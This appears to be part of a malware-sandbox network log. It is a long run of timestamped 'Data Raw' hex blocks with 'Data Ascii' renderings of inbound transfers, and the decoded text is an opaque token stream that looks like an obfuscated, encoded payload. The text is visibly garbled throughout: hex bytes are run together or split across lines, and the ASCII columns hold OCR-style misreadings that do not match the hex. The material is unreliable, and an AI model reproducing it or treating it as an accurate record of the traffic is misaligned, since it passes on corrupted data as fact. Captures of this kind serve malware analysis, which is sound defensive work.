2021-10-29 18:30:03 UTC 2741 IN Data Raw: 4f 6b 20 78 20 4f 78 78 20 78 20 4f 78 59 20 78 20 74 6f 20 78 20 52 51 20 78 20 6b 78 20 78 20 4f 4f 6 20 78
20 52 6b 20 78 20 6b 4f 20 78 20 6b 59 20 78 20 74 6f 20 78 20 4f 4f 6f 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 59
2078 2052 59 20 78 20 52 74 20 78 20 59 78 20 78 20 4f 78 4b 20 78 20 74 6f 20 78 20 6b 6b 20 78 20 4f 4f 78 20 78 20
4b 74 20 78 20 4f 4f 6f 20 78 20 4f 78 59 20 78 20 4f 78 59 20 78 20 52 74 20 78 20 4b 74 20 78 20 59 4b 20 78 20 74 74
20 78 20 4f 78 74 20 78 20 4f 78 6f 20 78 20 4b 74 20 78 20 4b 45 20 78 20 4f 78 52 20 78 20 74 45 20 78 20 6b 6b 20 78
20 4f 6f 6f 20 78 20 4b 74 20 78 20 4f 4f 4f 20 78 20 4f 6f 4f 20 78 20 74 78 20 78 20 59 52 20 78 20 4b 74 20 78 20 59 45
20782051 78 20 78 20 51 74 20 78 20 74 4b 20 78
Data Ascii: Ok x Oxx x OxY x to x RQ x kx x OO0 x Rk x kO x kY x to x OO0 x OXE x RY x RY x RY x Rt x Yx x OxK x to x
kk x OOx x Kt x OO0 x OXY x OxY x Rt x Kt x YK x tt x Oxt x Ox0 x Kt x KE x OxR x tE x kk x 000 x Kt x OO0 x 000 x tx
X YR x Kt x YE x Qx x Qt x tK x

2021-10-29 18:30:03 UTC 2745 IN Data Raw: 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78
20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 4f 6b 20 78 20 74 74
20 78 20 6b 6b 20 78 20 6b 59 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b
74 20 78 20 4b 74 20 78 20 4f 4f 6f 20 78 20 59 59 20 78 20 6b 78 20 78 20 6b 6b 20 78 20 4b 74 20 78 20 4b 51 20 78 20
4f 78 78 20 78 20 59 59 20 78 20 4f 4f 51 20 78 20 4b 74 20 78 20 59 59 20 78 20 4b 45 20 78 20 4b 6b 20 78 20 4f 78 45
20 78 20 6b 78 20 78 20 59 74 20 78 20 59 4b 20 78 20 51 78 20 78 20 4f 78 45 20 78 20 4f 4f 6b 20 78 20 4b 74 20 78 20
51 6b 20 78 20 52 51 20 78 20 4f 4f 4f 20 78 20 59 4b 20 78 20 4b
Data Ascii: Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x OOk x tt x kk x kY x Kt x Kt x Kt x Kt x Kt x Kt x Kt x
000 x YY x kx x kk x Kt x KQ x Oxx X YY x O0Q x Kt x YY x KE x Kk x OXE x kx x Yt x YK x Qx x OXE x OOk x Kt x Qk x
RQ x 000 x YK x K

2021-10-29 18:30:03 UTC 2748 IN Data Raw: 4b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 4f 4b 20 78 20 4b 74 20 78 20 4b 45 20 78 20 4f 4f 6b 20 78 20
4b 74 20 78 20 59 4b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 4f 4b 20 78 20 4b 74 20 78 20 4b 45 20 78 20 4f 4f 6b 20
78 20 4b 45 20 78 20 4f 4f 4b 20 78 20 4f 78 59 20 78 20 6b 4f 20 78 20 74 52 20 78 20 4b 74 20 78 20 4f 6f 6f 20 78 20
59 74 20 78 20 74 6f 20 78 20 6b 78 20 78 20 4b 74 20 78 20 59 74 20 78 20 6b 6b 20 78 20 4f 78 4f 20 78 20 59 52 20 78
20 6b 78 20 78 20 4b 74 20 78 20 6b 52 20 78 20 59 4f 20 78 20 4f 4f 6b 20 78 20 52 6b 20 78 20 4b 74 20 78 20 4b 51 20
7820 4f 78 78 20 78 20 59 59 20 78 20 4f 4f 51 20 78 20 4b 74 20 78 20 59 74 20 78 20 6b 6b 20 78 20 4f 78 4f 20 78 20
59 52 20 78 20 6b 78 20 78 20 4b 74 20 78 20 6b 52 20 78
Data Ascii: K x Kt x Kt x OOK x Kt x KE x OOk x Kt x YK x Kt x Kt x OOK x Kt x KE x OOk x KE x OOK x OXY x kO x tR x
Kt x 000 X Yt x to x kx x Kt x Yt x kk x OxO x YR x kx x Kt x kR x YO x OOk x Rk x Kt x KQ x Oxx x YY x O0Q x Kt x Yt x
kk x OxO X YR x kx x Kt x kR x

2021-10-29 18:30:03 UTC 2753 IN Data Raw: 6f 6f 20 78 20 4b 74 20 78 20 4f 4f 4f 20 78 20 6b 51 20 78 20 6b 59 20 78 20 6b 74 20 78 20 4b 74 20 78 20
59 4b 20 78 20 74 4f 20 78 20 52 74 20 78 20 52 52 20 78 20 4f 4f 6b 20 78 20 59 74 20 78 20 4f 4f 4f 20 78 20 6b 59 20
782052 59 20 78 20 74 52 20 78 20 4f 78 4b 20 78 20 74 4b 20 78 20 4f 78 59 20 78 20 74 45 20 78 20 52 59 20 78 20
6b 78 20 78 20 4f 4f 59 20 78 20 4f 4f 51 20 78 20 4f 4f 4b 20 78 20 4f 78 4b 20 78 20 4f 4f 6b 20 78 20 4b 74 20 78 20 4b
7420 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20
4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 4f 4b 20 78 20 4b 74 20 78 20 4b 45 20 78 20 4f 4f 6b 20 78 20 4b 74 20
78 2059 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 6f 6f
Data Ascii: 00 x Kt x OO0 x kQ x kY x kt x Kt x YK x tO x Rt x RR x OOk x Yt x OO0 x kY x RY x tR x OxK x tK x OxY x tE
X RY x kx x OOY x O0Q x OOK x OxK x OOk x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x OOK x Kt x KE x
OOk x Kt x Yt x Kt x Kt x Ooo

2021-10-29 18:30:03 UTC 2757 IN Data Raw: 20 4b 45 20 78 20 4f 4f 6b 20 78 20 4b 74 20 78 20 59 4b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 4f 4b 20
78 20 4b 74 20 78 20 4b 45 20 78 20 4f 4f 6b 20 78 20 4b 74 20 78 20 59 4b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 4f
4b 20 78 20 4b 74 20 78 20 4b 45 20 78 20 4f 4f 6b 20 78 20 4b 74 20 78 20 59 4b 20 78 20 4b 74 20 78 20 4b 74 20 78
20 4f 4f 4b 20 78 20 4b 74 20 78 20 4b 45 20 78 20 4f 4f 6b 20 78 20 4b 74 20 78 20 59 4b 20 78 20 4b 74 20 78 20 4b 74
20 78 20 4f 4f 4b 20 78 20 4b 74 20 78 20 4b 45 20 78 20 4f 4f 6b 20 78 20 4b 74 20 78 20 59 74 20 78 20 4b 74 20 78 20
4b 74 20 78 20 4f 6f 6f 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78
20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78
Data Ascii: KE x OOk x Kt x YK x Kt x Kt x OOK x Kt x KE x OOk x Kt x YK x Kt x Kt x OOK x Kt x KE x OOk x Kt x YK x
Kt x Kt x OOK x Kt x KE x OOk x Kt x YK x Kt X Kt x OOK x Kt x KE x OOk x Kt x Yt x Kt x Kt x 000 x Kt x Kt x Kt x Kt x Kt
x Kt x Kt x Kt x Kt x Kt x

2021-10-29 18:30:03 UTC 2761 IN Data Raw: 78 4f 20 78 20 6b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 52 59 20 78 20 59 4f 20 78 20 4f 78 6b 20 78 20
4f 4f 6b 20 78 20 4b 74 20 78 20 4f 4f 52 20 78 20 74 6b 20 78 20 74 4b 20 78 20 74 6f 20 78 20 4b 74 20 78 20 59 52 20
78 20 52 6b 20 78 20 4f 78 4f 20 78 20 6b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 52 59 20 78 20 59 4f 20 78 20 4f 78
6b 20 78 20 4f 4f 6b 20 78 20 4b 74 20 78 20 4f 4f 51 20 78 20 74 52 20 78 20 4f 4f 6f 20 78 20 74 52 20 78 20 4b 74 20
78205952 20 78 20 52 74 20 78 20 51 74 20 78 20 74 51 20 78 20 4b 74 20 78 20 4b 74 20 78 20 52 59 20 78 20 4f 4f
4b 20 78 20 4f 78 74 20 78 20 4f 78 6f 20 78 20 4b 74 20 78 20 4f 4f 52 20 78 20 74 4b 20 78 20 4f 4f 4f 20 78 20 59 4f 20
7820 4b 74 20 78 20 59 59 20 78 20 6b 45 20 78 20 74 4f
Data Ascii: XO x kt x Kt x Kt x RY x YO x Oxk x OOk x Kt x OOR x tk x tK x to x Kt x YR x Rk x OxO x kt x Kt x Kt X RY x
YO x Oxk x OOk x Kt x O0Q X tR x 000 X tR x Kt X YR x Rt X Qt x tQ x Kt x Kt x RY x OOK x Oxt x Ox0 x Kt x OOR x tK x
000 x YO x Kt x YY x kE x tO

2021-10-29 18:30:03 UTC 2765 IN Data Raw: 4b 20 78 20 4f 4f 74 20 78 20 59 59 20 78 20 59 4f 20 78 20 4b 74 20 78 20 4b 45 20 78 20 4f 4f 4b 20 78 20 4f
4f 74 20 78 20 59 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 6b 78 20 78 20 4b 6b 20 78 20 51 51 20 78 20 59 59 20 78
204b 74 20 78 20 51 78 20 78 20 52 51 20 78 20 4b 6b 20 78 20 74 45 20 78 20 59 74 20 78 20 4f 78 52 20 78 20 4f 4f 59
20782051 78 20 78 20 74 6f 20 78 20 59 74 20 78 20 74 74 20 78 20 52 6b 20 78 20 52 59 20 78 20 6b 4f 20 78 20 74
78 20 78 20 6b 52 20 78 20 4f 78 74 20 78 20 4b 51 20 78 20 6b 45 20 78 20 52 59 20 78 20 4b 74 20 78 20 59 45 20 78
20 74 4b 20 78 20 6b 4b 20 78 20 4f 78 45 20 78 20 4f 78 6f 20 78 20 4b 74 20 78 20 74 78 20 78 20 4f 78 74 20 78 20 59
45 20 78 20 6b 78 20 78 20 4b 74 20 78 20 4f 4f 51 20 78 20 51
Data Ascii: Kx OOt x YY x YO x Kt x KE x OOK x OOt x Yt x Kt x Kt x kx x Kk x QQ X YY x Kt x Qx X RQ x Kk x tE x Yt x O
XR X O0Y x Qx x to x Yt x tt X Rk X RY x kO x tx x KR x Oxt x KQ x kKE x RY x Kt x YE x tK x kK x OXE x Oxo0 x Kt x tx x Oxt
X YE x kx x Kt x O0Q x Q

2021-10-29 18:30:03 UTC 2769 IN Data Raw: 20 4b 6b 20 78 20 4b 74 20 78 20 4b 45 20 78 20 4f 6f 6f 20 78 20 51 51 20 78 20 59 6f 20 78 20 6b 78 20 78
20 4b 74 20 78 20 4f 4f 59 20 78 20 59 78 20 78 20 4b 45 20 78 20 52 6b 20 78 20 4b 74 20 78 20 59 59 20 78 20 74 6b
20 78 20 4f 4f 6b 20 78 20 4f 78 45 20 78 20 4b 74 20 78 20 4b 45 20 78 20 4f 6f 6f 20 78 20 51 6b 20 78 20 59 6f 20 78 20
6b 78 20 78 20 4b 74 20 78 20 4f 4f 59 20 78 20 59 78 20 78 20 4b 45 20 78 20 52 6b 20 78 20 4b 74 20 78 20 59 59 20
78 20 74 6b 20 78 20 4f 4f 6b 20 78 20 4f 78 6f 20 78 20 4b 74 20 78 20 4b 45 20 78 20 4f 6f 6f 20 78 20 51 6b 20 78 20
59 6f 20 78 20 6b 78 20 78 20 4b 74 20 78 20 4f 4f 59 20 78 20 59 78 20 78 20 4b 45 20 78 20 52 6b 20 78 20 4b 74 20 78
205959 20 78 20 74 6b 20 78 20 4f 4f 6b 20 78 20 4f 78 45
Data Ascii: Kk x Kt x KE x 000 x QQ x Yo x kx x Kt x OOY x Yx x KE x Rk x Kt x YY x tk x OOk x OxE x Kt x KE x O00 x
Qk x Yo x kx x Kt x OOY x Yx x KE x Rk x Kt x YY x tk x OOk x Oxo x Kt x KE x O00 x Qk x Yo x kx x Kt x OOY x Yx x KE
X Rk x Kt x YY x tk x OOk x OXE
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kBytes
Timestamp transferred Direction Data

2021-10-29 18:30:03 UTC 2773 IN Data Raw: 74 4b 20 78 20 52 59 20 78 20 52 51 20 78 20 74 74 20 78 20 52 59 20 78 20 4f 78 78 20 78 20 52 59 20 78 20
52 52 20 78 20 4f 6f 4f 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 74 59 20 78 20 4f 4f 51 20
78205252 20 78 20 6b 4b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59
20782052 52 20 78 20 74 4b 20 78 20 4f 4f 78 20 78 20 52 74 20 78 20 6b 51 20 78 20 52 59 20 78 20 6b 59 20 78 20
52 59 20 78 20 52 52 20 78 20 4f 6f 4f 20 78 20 52 59 20 78 20 74 4f 20 78 20 59 52 20 78 20 52 59 20 78 20 51 51 20 78
205259 20 78 20 52 52 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 74 6f 20 78 20 74 45 20 78 20 52 59 20 78 20 4f 78 78
20 7820 52 59 20 78 20 52 52 20 78 20 4f 4f 6f 20 78 20 52
Data Ascii: tK x RY x RQ x tt x RY x Oxx X RY x RR x 000 x RY x tO x O0Q x RY x tY x OOQ x RR x kK x RY x RY x RY
X RY X RY x RY x RR x tK x OOx x Rt x kQ x RY x kY X RY x RR x 000 x RY x tO x YR x RY x QQ x RY x RR x Oxk x RY
x to X tE X RY x Oxx X RY x RR x OO0 x R

2021-10-29 18:30:03 UTC 2777 IN Data Raw: 6f 20 78 20 52 59 20 78 20 51 51 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 74 4b 20 78 20 52 59 20 78 20 52
5120 78 20 74 74 20 78 20 52 59 20 78 20 4f 78 78 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 6f 4f 20 78 20 52 59 20 78
20 74 4f 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 74 59 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 6b 4f 20 78 20 52 59
2078 20 74 4f 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 4f 78 78 20 78 20 6b 4f 20 78 20 52 52 20 78 20 4f 6f 6f 20 78 20
52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 6b 51 20 78
20 4f 4f 78 20 78 20 52 51 20 78 20 52 51 20 78 20 52 59 20 78 20 4f 78 78 20 78 20 6b 4f 20 78 20 52 52 20 78 20 4b 6b
2078 20 52 59 20 78 20 74 4f 20 78 20 59 52 20 78 20 52
Data Ascii: 0 x RY x QQ x O0Q x RY x tK x RY x RQ x tt x RY x Oxx X RY x RR x 000 x RY x tO x O0Q x RY x tY x
00Q x RR x kO x RY x tO x O0OQ x RY x Oxx x kO x RR x 000 X RY x RY x RY x RY x RY x RY x RR x kQ x OOx x RQ x
RQ x RY x Oxx X kO x RR x Kk x RY x tO x YR x R

2021-10-29 18:30:03 UTC 2780 IN Data Raw: 20 52 52 20 78 20 74 52 20 78 20 4f 4f 78 20 78 20 52 51 20 78 20 74 74 20 78 20 52 59 20 78 20 51 74 20 78
205259 20 78 20 52 52 20 78 20 4f 4f 6b 20 78 20 52 59 20 78 20 74 4f 20 78 20 59 52 20 78 20 52 59 20 78 20 51 51 20
78 20 4f 4f 51 20 78 20 52 52 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 52 74 20 78 20 52 59 20 78 20 52 59 20 78 20 6b
4f 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 4f 4f 6b 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 4f 51 20 78 20 52 59 20 78
20 4f 78 78 20 78 20 6b 4f 20 78 20 52 52 20 78 20 4f 4f 52 20 78 20 52 59 20 78 20 52 74 20 78 20 6b 51 20 78 20 52 59
20 78 20 51 6b 20 78 20 4f 78 45 20 78 20 52 52 20 78 20 4f 6f 6f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20
52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 52 20
Data Ascii: RR xtR x OOx x RQ x tt X RY x Qt X RY x RR x OOk x RY xtO x YR x RY x QQ x O0Q x RR x Oxk x RY x Rt
X RY x RY x kO x O0Q x RR x OOk x RY x tO x O0OQ x RY x Oxx x kO x RR x OOR x RY x Rt x kQ x RY x Qk x OXE x
RR x 000 x RY x RY x RY X RY x RY X RY x RR

2021-10-29 18:30:03 UTC 2785 IN Data Raw: 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 52 59 20 78 20
5259 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 74 4f 20 78
205259 20 78 20 6b 78 20 78 20 59 52 20 78 20 52 59 20 78 20 52 74 20 78 20 6b 4f 20 78 20 52 6b 20 78 20 4f 4f 4b 20
782052 59 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 78 45 20 78 20 4f 78 45 20 78 20 52 52 20 78 20
6b 59 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 51 78 20 78 20 6b 4f 20 78 20 52 59 20 78
20 4f 78 45 20 78 20 52 59 20 78 20 74 4f 20 78 20 6b 51 20 78 20 52 59 20 78 20 51 6b 20 78 20 4f 4f 51 20 78 20 52 52
20 78 20 4f 4f 59 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f
Data Ascii: RY x RY x RY x RY x Oxk x RY X RY x RY X RY X RY X RY x RR x 00Q x RY x tO x RY x kx X YR X RY x Rt x
kO x Rk x OOK x RY x Kt x Kt x Kt x OXE x OXE x RR x kY x RY x tO x OXE x RY x Qx x kO x RY x OXE x RY x tO x kQ x
RY x Qk x O0Q x RR x OOY x RY x tO x O

2021-10-29 18:30:03 UTC 2789 IN Data Raw: 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20
782052 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59
20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 74 6f 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20
6b 74 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 74 4b 20 78 20 52 59 20 78 20 74 51 20 78 20 59 52 20 78 20 52 6b 20 7
820525920 7820 52 59 20 78 20 52 6b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 6f 20 78 20 74 45 20 78 20 52 59 20
78 20 6b 4f 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 4f 4f 6b 20 78 20 52 59 20 78 20 74 4f 20 78 20 4b 6b 20 78 2052 5
9 20 78 20 51 6b 20 78 20 6b 4f 20 78 20 52 52 20 78 20 4f 78 4b
Data Ascii: X RY X RY x RY X RY X RY X RY x RY X RY X RY X RY x RY X RY X RY X RY X RY x Oxk x RY xto x RY x RR
X 00Q x RY x kt x OOQ x RY x tK x RY x tQ X YR x Rk x RY X RY x Rk x Kt x Kt x Yo X tE X RY x kO x O0Q x RR x OOk
X RY xtO x Kk X RY x Qk x kO x RR x OxK

2021-10-29 18:30:03 UTC 2793 IN Data Raw: 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20
52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 74 20 78 20 52 52 20 78 20 6b 59 20
78 20 74 4f 20 78 20 4f 78 45 20 78 20 52 52 20 78 20 6b 74 20 78 20 52 59 20 78 20 52 52 20 78 20 74 52 20 78 2052 5
920 78 20 52 59 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 4b 45 20 78 20 4f 78 45 20 78 20 74 74 20 78 20 52 59 20 78
2052 59 20 78 20 6b 78 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 78 45 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59
2078 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52
5920 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20
Data Ascii: RY x RY X RY X RY X RY X RY X RY X RY x RY x RY x OXE x RY x Rt X RR x kY x tO x OXE x RR X kt x RY x
RR x tR X RY X RY x O0Q X RY x KE x OXE x tt X RY X RY X kx x Kt x Kt X OXE X kO X RY X RY X RY x RY x RY x RY x
RY X RY x RY X RY x RY X RY x RY X RY x

2021-10-29 18:30:03 UTC 2797 IN Data Raw: 59 20 78 20 51 78 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 74 6f 20 78 20
6b 4f 20 78 20 52 59 20 78 20 51 74 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 52 74 20
782052 59 20 78 20 52 59 20 78 20 51 78 20 78 20 4f 78 45 20 78 20 52 52 20 78 20 4b 51 20 78 20 52 59 20 78 20 74
4f 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 51 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 59 20 78
20 74 6f 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 51 20 78 20 6b 4f 20 78 20 52 52 20 78 20 4b 6b 20 78 20 52 59 20 7
820 74 4f 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 4f 6f 20 78 2052 5
9 20 78 20 74 6f 20 78 20 74 74 20 78 20 52 59 20 78 20 74 45 20
Data Ascii: Y x Qx x OXE x RY x OXE x RY x to Xx kO x RY X Qt x RY x RR x Oxk x RY x Rt x RY x RY x Qx x OXE x RR x
KQ x RY x tO x O0OQ x RY x Qk X RY x RY x OXE X RY x to x RY X RY x kQ x kO x RR x Kk x RY x tO x OXE x RY X tE x
RY x RR x 000 x RY x to x tt x RY x tE

2021-10-29 18:30:03 UTC 2801 IN Data Raw: 20 4f 4f 52 20 78 20 52 59 20 78 20 74 4f 20 78 20 59 52 20 78 20 52 59 20 78 20 51 78 20 78 20 52 59 20 78
2052 52 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 52 6b 20 78 20 4f 4f 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59
20782052 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52
59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20
4f 4f 51 20 78 20 52 59 20 78 20 4f 78 4b 20 78 20 6b 59 20 78 20 74 59 20 78 20 74 74 20 78 20 52 59 20 78 20 4f 6f 4f
20 78 20 6b 4f 20 78 20 52 74 20 78 20 4b 6b 20 78 20 52 59 20 78 20 74 52 20 78 20 6b 51 20 78 20 52 59 20 78 20 52 5
220 78 20 4f 4f 51 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59
Data Ascii: OOR x RY xtO x YR X RY x Qx x RY x RR x Oxk x RY x Rk x OO0 x RY x RY x RY x RY x RY x RY x RY x
RY x RY x RY X RY x RY X RY x RY x RY x RY x RY x RY x O0Q x RY x OxK x kY x tY x tt x RY x 000 x kO x Rt x Kk x
RY x tR x kQ x RY x RR x O0Q x kO x RY x RY
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2021-10-29 18:30:03 UTC 2805 IN Data Raw: 6f 20 78 20 74 45 20 78 20 52 59 20 78 20 51 6b 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 4f 4f 74 20 78 20
5259 20 78 20 74 4f 20 78 20 4b 6b 20 78 20 52 59 20 78 20 51 78 20 78 20 6b 4f 20 78 20 52 52 20 78 20 4f 4f 74 20 78
2052 59 20 78 20 74 6f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 52 52 20 78 20 6b 4b 20
782052 59 20 78 20 74 6f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 51 51 20 78 20 4f 78 45 20 78 20 52 52 20 78 20 4f 4f
6f 20 78 20 52 59 20 78 20 74 4f 20 78 20 59 6f 20 78 20 52 59 20 78 20 51 78 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20
4f 6f 6f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78
205259 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78
Data Ascii: 0 x tE x RY x Qk x O0OQ x RR x OOt x RY x tO x Kk x RY x Qx x kO x RR x OOt x RY x to x kO x RY x tE x RY
X RR x kKK x RY x to x kO x RY x QQ x OXE x RR x 000 x RY x tO x Yo x RY x Qx x OOQ x RR x 000 x RY x RY x RY x
RY x RY X RY x RY X RY x RY X RY x RY x

2021-10-29 18:30:03 UTC 2809 IN Data Raw: 78 20 52 59 20 78 20 74 4f 20 78 20 59 52 20 78 20 52 59 20 78 20 51 6b 20 78 20 4f 4f 51 20 78 20 52 52 20
78 20 4f 6f 6f 20 78 20 52 59 20 78 20 74 4f 20 78 20 6b 59 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 52 52
2078 20 6b 4f 20 78 20 52 59 20 78 20 74 6f 20 78 20 74 45 20 78 20 52 59 20 78 20 51 6b 20 78 20 4f 4f 51 20 78 20 52
5220 78 20 4f 78 52 20 78 20 52 59 20 78 20 74 4f 20 78 20 6b 59 20 78 20 52 59 20 78 20 51 51 20 78 20 4f 4f 51 20 78
2052 52 20 78 20 4f 6f 6f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 52 59 20
782052 74 20 78 20 6b 4f 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 52 20 78 20 6b 4b 20 78 20 6b 4f 20
782052 52 20 78 20 6b 4b 20 78 20 52 59 20 78 20 52 74
Data Ascii: X RY X tO x YR x RY x Qk x OOQ x RR x 000 x RY x tO x kY x RY x tE x RY x RR x kO x RY x to x tE x RY x
Qk x O0Q x RR x OxR x RY x tO x kY x RY x QQ x OOQ x RR x 000 x RY x RY x RY x RY x Rt x RY x Rt x kO x RY x
kO x RY x RR x kK x kO x RR x kK x RY x Rt

2021-10-29 18:30:03 UTC 2812 IN Data Raw: 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 4f 78 6f 20 78 20
525920 78 20 74 78 20 78 20 52 51 20 78 20 52 59 20 78 20 74 74 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 74 51 20
78 2052 59 20 78 20 74 51 20 78 20 59 52 20 78 20 52 6b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 45 20 78 20 52 59
20 78 20 52 59 20 78 20 52 74 20 78 20 6b 51 20 78 20 52 59 20 78 20 6b 45 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 4
f 6f 20 78 20 52 59 20 78 20 74 4f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 51 78 20 78 20 6b 4f 20 78 20 52 59 20 78 20 5
2592078205259 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78
2052 52 20 78 20 6b 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59
Data Ascii: RY x RY x RY x RY x RY x Rt x Ox0 x RY x tx x RQ x RY x tt x OXE x RY x tQ x RY x tQ x YR x Rk x Kt x Kt x
KE x RY X RY x Rt x kQ x RY x kE x RY x RR x 000 x RY x tO x kO x RY x Qx x kO x RY x RY x RY x RY x RY x RY x
RY X RY X RY x RR x kY X RY x RY x RY

2021-10-29 18:30:03 UTC 2817 IN Data Raw: 6b 20 78 20 52 59 20 78 20 74 6f 20 78 20 74 45 20 78 20 52 59 20 78 20 51 78 20 78 20 6b 4f 20 78 20 52 52
2078 20 4f 78 4b 20 78 20 52 59 20 78 20 74 6f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 51 78 20 78 20 6b 4f 20 78 20 52
5220 78 20 4f 78 74 20 78 20 52 59 20 78 20 52 74 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 51 20 78 20 4f 78 45 20
782052 52 20 78 20 59 45 20 78 20 52 59 20 78 20 52 74 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 78 20 78 20 6b
4f 20 78 20 52 52 20 78 20 4f 6f 6f 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 78 74 20 78 20 52 59 20 78 20 51 6b 20 78
20 4f 78 45 20 78 20 52 52 20 78 20 4f 4f 78 20 78 20 52 59 20 78 20 52 52 20 78 20 74 74 20 78 20 52 59 20 78 20 6b 59
20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 4f 78 6b 20 78 20 52
